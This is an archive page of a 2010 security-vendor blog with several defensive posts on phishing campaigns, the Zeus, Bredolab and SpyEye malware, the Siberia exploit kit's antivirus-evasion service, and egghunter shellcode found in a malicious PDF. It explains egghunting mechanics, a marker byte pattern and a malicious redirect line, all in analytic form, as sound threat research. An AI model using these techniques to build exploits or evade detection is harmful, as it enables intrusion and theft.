2010 « M86 Security Labs Blog

Archive for 2010

Bredolab Trojan – Malware Review

By Daniel Chechik • December 23rd, 2010 • Malware

Two months ago, the authorities in the Netherlands announced a massive botnet takedown of Bredolab Trojan. Despite these efforts, the Bredolab Trojan is still spreading malware on user’s machines.

Unlike the Zeus or SpyEye Trojans, the Bredolab Trojan is a pretty simple and has limited capabilities, which is similar to the Ofikla Trojan. It’s functionality was reviewed in a very interesting and detailed blog of Kaspersky Lab Expert Alexei Kadiev “End of the Line for the Bredolab Botnet?” Our blog sheds a light on additional aspects of Bredolab communication, its evasive techniques and C&C functionality.

Let’s take a step by step look at how the Trojan operates.

Tags: Bredolab | Command & Control Server | Encryption Key | Malware Analysis

Which Bank would you like with that Phish?

By Gavin Neale • December 9th, 2010 • Cybercrime

Over the last couple of years we have seen a decline in traditional phishing schemes as cyber criminals have begun to use banking malware such as Zeus and SpyEye. These tools can steal credentials from a wide range of web sites and by using browser-in-the-middle techniques can beat two factor authentication used by many banking websites.

Lately we have seen a number of phishing emails where the phishers impersonate a third party that may have a plausible reason for interacting with your bank, such as a tax department. The Phishers then attract victims to a landing page via spam where they are asked to choose their bank from a selection. They are then shown a fake login page for that bank. This increases the chance of a Phisher matching a bank to a potential victim.

This email, targeted at British recipients, promises the recipient that they are eligible for a tax refund from HM Revenue and Customs. By clicking the Refund Me Now link they can be on their way to receiving their tax refund.

Following the link takes the recipient to the phishing landing page below with the logos of 15 banks; and asks the user to click on the logo of their bank to continue. Each logo is a link to a fake banking website that is similar to that bank’s real website.

The landing page where users are asked to select their bank

When we click on the HSBC bank logo we are taken to a page designed to phish credentials from HSBC members:

The phishing page the victim is sent to if they click the HSBC bank logo

We saw a nearly identical campaign two months ago that was phishing for bank accounts in New Zealand. This is just another technique cyber criminals are using to increase their returns as people become more aware of how phishing attacks work.

Tags: Banking Trojans | Phishing | Phishing Kit | Tax Refund | Tax Scam

McAfee, Secure Short URL Service… Or is it?

By Anonymous • December 6th, 2010 • Vulnerabilities

Recently, McAfee entered the already crowded URL Shortening business. The service is called mcaf.ee and is meant to provide a major ‘added value’ over its competitors; namely security.

Basically, every URL being shortened using the mcaf.ee service, is scanned and ensured to be safe for browsing. However, as when using any AntiVirus, it appears that not only safe URLs are shortened but malicious ones too. As a result this may hurt the security provided by other sites, which in turn might rely on the security provided by the mcaf.ee service.

For demonstration purposes, let’s have a look at a malicious URL, which was found in the wild, and was reported as safe by mcaf.ee.

Page source of a malicious "short" URL

Figure 1 shows a screenshot of the source code of a malicious URL (shown in the red frame). McAfee reported it as safe (as seen in the green frame).

Now, let’s see how the mcaf.ee service can be manipulated to overcome the security provided by Facebook, for example. We’ll choose a successfully blocked Facebook phishing URL:

Facebook phishing blocked successfully by Facebook

Facebook phishing site marked as safe by McAfee

When we used the shortened URL generated by mcaf.ee service: hxxp://mcaf.ee/139b4, the URL could be used on a Facebook wall or private message, without being blocked. Luckily, after a few minutes, we noticed that Facebook started blocking that URL as well.

Users should carefully check the links coming from emails, Facebook or any other social network, when the sender is unknown and the link is shortened, because there is no guarantee the URL is safe, almost in the case when it comes from “Secure URL Short Service”.

Post Authored By Daniel Chechik and Moshe Basanchig

Tags: Facebook | Phishing | Secure Short URL | URL Shortener

Don’t Pay Your Taxes

By Gavin Neale • December 5th, 2010 • Malware

Or at least try to ensure that your money doesn’t end up in the hands of criminals using the Zeus crimeware kit, which could happen if you fall for this latest malicious email campaign targeting tax payers. The emails are being sent from one of the Pushdo/Cutwail botnets and the campaign is very similar to the EFTPS one we previously blogged about. The main difference is the use of legitimate hacked websites and a range of exploits targeting vulnerabilities in client side software such as Java and Adobe PDF readers.

The malicious email claims that your tax payment has been rejected and provides a link for you to check your information:

The link in the email, which appears to go to eftps.gov, actually goes to one of many web pages which have been uploaded to hacked web servers. The pages contain the obfuscated JavaScript shown below:

All of this script has the effect of adding just one new line of JavaScript to the current page: location.replace(“http://[removed]autocom.ru/trafflit.php”). This code tells the browser to browse to a new URL that is hosting the SEO exploit kit which contains the JavaScript below.

This JavaScript determines if Java (Oracle Java, not JavaScript) is enabled and then redirects the browser again to the page rotator.php on the same server. Rotator.php contains exploits for four Java vulnerabilities and prompts you to download and open the file asshole.pdf. This PDF file, when opened in Adobe Reader attempts to detect the version and then launch an appropriate exploit if the detected version is known to be vulnerable.

The end goal of all these redirects and exploits is to install the notorious Zeus crimeware bot onto the victim’s machine. This is the VirusTotal report for the Zeus sample we collected. Zeus is well known for helping criminals steal login credentials as victims’ browse their online bank accounts and to transfer money into accounts under the criminals’ control.

Mega-D Botnet Operator Revealed

By Phil Hay • December 2nd, 2010 • Spam

Interesting details emerged today regarding the Mega-D botnet. The FBI has identified the Russian Oleg Nikolaenko as the operator of the botnet and has filed papers with a US District Court for his arrest. Brian Krebs from KrebsOnSecurity has a good article on the issue here, including a link to the court documents.

M86 Security Labs has monitored the Mega-D botnet closely ever since we noticed huge volumes of spam emanating from it in early 2008. In fact we originally dubbed it Mega-D because of its numerous and distinctive “Megadik” spam campaigns at that time. Mega-D has since had its ups and downs as various researchers and law enforcement authorities took ever greater interest in it. The timeline below shows the blog entries we have done on events relating to Mega-D over time.

The court document makes interesting reading. The FBI found Nikolaenko through data revealed in the 2008 US Federal Trade Commission investigation into Affking, the affiliate program linked to Genbucks that was responsible for “Megadik” and other similar brands. M86 Security Labs provided assistance to the FTC and New Zealand authorities in this original investigation. Between 6 June 2007 and 14 December 2007, payments totalling around $465,000 were made by Affking into an ePassporte account registered to Nikolaenko for the services of spamming.

Over the last few months, Mega-D spam activity has dried up and its control servers have become non-responsive. It no longer features in our spam tracking statistics. In reality, Mega-D has been on the decline for some time, probably as a result of all the interest by researchers and the authorities.

It’s encouraging to see law enforcement agencies going after these bot-herding criminals. Identifying and incapacitating the individuals behind the malware is one of the best ways to keep these giant spam-spewing systems in check.

Timeline:

Feb-2008: Spam from botnet “Mega-D” constituted 32% of spam, malware identified and control servers disabled

Feb-2008: Mega-D recovers and resumes spamming

October-2008: FTC initiates action against AffKing affiliate program

November-2008: McColo takedown halted operations on Mega-D and other spamming botnets

December-2008: Mega-D resumes spamming

November-2009: Mega-D operations disrupted by FireEye

February-2010: Mega-D resumes spamming…again

December-2010: FBI identifies Mega-D’s operator

Tags: Affiliate Programs | Mega-D | Spambot | SpamIt | takedowns

Siberia Exploits Kit Fights Back Against AV Companies

By Daniel Chechik • November 30th, 2010 • Cybercrime

Siberia Exploit Kit is an evolving crimeware that was first seen in the wild in late 2009. A few months ago the author of Siberia Exploits Kit deployed an upgraded version of the toolkit, as written in the Malware Intelligence Blog.

Like our last post about Phoenix Exploit’s Kit, Siberia Exploit’s Kit author also emphasizes the issue of circumventing recognition by Anti-Virus and URL filtering services, as it contains a built in Anti-Virus checker.

Anti-Virus Detection rate of each malware

The administrator of the toolkit can perform an Anti-Virus scan of the malware and exploit pages. Moreover, the scan results of each Anti-Virus company are viewable.

Advanced information of the malware detection among the Anti-Viruses companies

It is well known that once uploading malware to a VirusTotal service, the Anti-Virus companies can re-analyze suspicious files. As such, it’s a good guess that the Siberia Exploit’s Kit doesn’t use the VirusTotal service. In this particular case, the files are sent to an underground Anti-Virus checker called “scan4you.biz”

The code that accesses to scan4you.biz AV checker (Taken from Siberia Exploit’s Kit)

Let’s take a look at our anonymous Anti-Virus checker:

After login the user can upload files and check URL’s for Anti-Virus and URL Filtering check

Of course, this service is not free. The cost is 0.15¢ for every file checked or $25 for a one month license. The website offers several scans:

File scan – Regular Anti-Virus scan
URL scan – Anti-Virus scan of URL
Blacklist / Filter scan – Check detection of URL in URL filtering services
Exploit Pack scan – Check detection of toolkit name in URL filtering services

Eventually, in order to implement this service in Siberia Exploit’s Kit, or in any other toolkit, the underground Anti-Virus check service publishes an API for remote scanning:

Snippet code of the API service provided by scan4you.biz website.

Like other techniques of evasiveness we have seen lately such as “Anti Wepawet” or “Anti JSunpack” as described in our security labs report, it appears the cybercriminals keep trying to find creative techniques to avoid malware detection in multiple layers — this time by performing an Anti-Virus scan.

Tags: Exploit Kits | Siberia | Virus scan

Who’s looking for eggs in your PDF?

By Avri Schneider • November 18th, 2010 • Vulnerabilities

At M86 Security Labs, we research various attacks on a daily basis. Some of these attacks originate from malicious PDF files.

One distinctive characteristic of malicious PDF files is a chunk of javascript code performing a heap-spray on the client browser, filling it with NOP (No OPeration) instructions (also acting as a valid heap memory address) – followed by the attacker’s shellcode; then triggering a bug in the PDF reader, which directs the flow of execution to a random memory location on the sprayed heap, executing the NOP sled followed by the shellcode.

While investigating the latest PDF 0day exploit [CVE-2010-4091, Extraexploit, VUPEN, Original Full-Disclosure post] that was published to the Full-Disclosure mailing list, we noticed something interesting – the shellcode part of the malicious javascript code was very tiny:

Here’s a disassembly view of the shellcode:

What we’re seeing is a known shellcode technique called Egghunting, where the shellcode itself is very small (usually free of Null bytes) and it’s sole purpose is to search the memory space of the process for the real shellcode, and on some more advanced versions for one or more parts of the reall shellcode – collect all the pieces together, then execute the found shellcode.

It’s used mainly in types of attack that prevent the attacker from placing a large amount of shellcode at the point where he is able to gain control of code execution, while being able to control data in the memory space of the process yet lacking the exact memory address location of the controllable data.

Notice how the egghunter shellcode uses int 0x2e to call the nt!NtDisplayString kernel function, passing it a pointer to the address to check on the stack (the edx register points to the user-land stack while eax is the System Service Code – an index to the nt!KiServiceTable pointer array, pointing to the nt!NtDisplayString function). You can read more about “How do windows NT system calls really work?” in this great article.

If the memory address is un-mapped in the address space of the process, an access violation will occur and the return value in the eax register will be 0xc0000005 (STATUS_ACCESS_VIOLATION).

The egghunter shellcode compares the low byte of eax to 5, indicating un-mapped memory and increments the address to check on each loop iteration.

Each mapped memory region is searched for the pattern \x90\x50\x90\x58 which translates to:

90 – NOP
50 – PUSH EAX
90 – NOP
58 – POP EAX

- A ‘non-intrusive’ marker (‘NOP’) indicating the beginning of the real shellcode.

Once found – the egghunter jumps to the address and continues execution from there.

As a side-note, this particular sample is not functional – i.e. when the vulnerability is triggered by executing the this.printSept() javascript code, the egghunter shellcode is never executed – crashing the browser.

It would nevertheless be interesting to see were egg-hunting exploits do decide to place the real shellcode in future PDF attacks.

Asprox spamming more Sasfis

By Rodel Mendrez • November 17th, 2010 • Spam

Ever since the recent take down attempts of the Pushdo and Bredolab botnets, the volume of malicious spam has dropped substantially. But there is still one major player spamming out malicious executables, namely the Asprox spambot. Malicious spam campaigns purporting to be from DHL, Fedex, UPS or USPS have been spammed by the Asprox botnet ever since it resurrected in the mid 2010. These messages contain zip file attachments containing executable files which are almost exclusively the Trojan Sasfis, a downloader bot.

Asprox DHL Spam campaign

Changing Battlefield

By Vadim Pogulievsky • November 15th, 2010 • Cybercrime

The success of the Zeus Trojan has led directly to the creation of the ZeusTracker project, and as of a few weeks ago, the SpyEye Tracker project was put into play.

So what’s left to say other than SpyEye is now in our midst…

Now that we agree about the success of the banking Trojans, let’s talk a little bit about one of its primary victims, that being the banks themselves.

A few months ago, the M86 Security Labs team discovered another SpyEye C&C server targeting one of the largest American banks. As part of the internal M86 disclosure policy, we contacted the bank to provide the detailed information we had discovered..

In this particular case of malicious activity, the SpyEye Trojan’s “install base” included more than 270,000 infections. The bank eventually confirmed that more than 200 bank accounts had been compromised.

True, there’s nothing new in this…

However, since it’s far from being first time we’ve contacted banks to provide this type of information; we sat up and took notice of the gradual change in the way banks response to our data.

Just a year ago, a bank’s response would have been akin to:

“Why contact us? Certainly this is a police issue!” or “Where are you from? Kindly talk to your local branch”. One bank questioned, “Where is malicious server located? Eastern Europe? So, why are you contacting us?”

I believe everyone who had provided similar information to various banks encountered the same sort of responses.

Today, the situation is conceptually different. Based on several recent cases, we can verify that the banks have begun to take this information much more seriously.

First, they’ve educated themselves on banking Trojans - a refreshing change. Second, they are ready to cooperate and convey a willingness to further investigate the information provided. For example, the SpyEye case mentioned above was a process that took less than a month with the bank. At the conclusion of the case, we received complementary information that was confirmed by the bank.

Without the pretense for accurate statistics, the behavioral changes of the banks is significant, and is a result of the losses the banks suffered and continue to suffer, as result of this new type of Banker Trojans activity.

The success of Zeus and SpyEye have caused numerous copycats to appear, such as the new Bugat, Carberp, and latest Feodo Trojans. The war that the banks were engaged in at the birth of Cybercrime has become increasingly sophisticated. Given the new battle landscape, banks have begun to re-group their efforts in fighting back.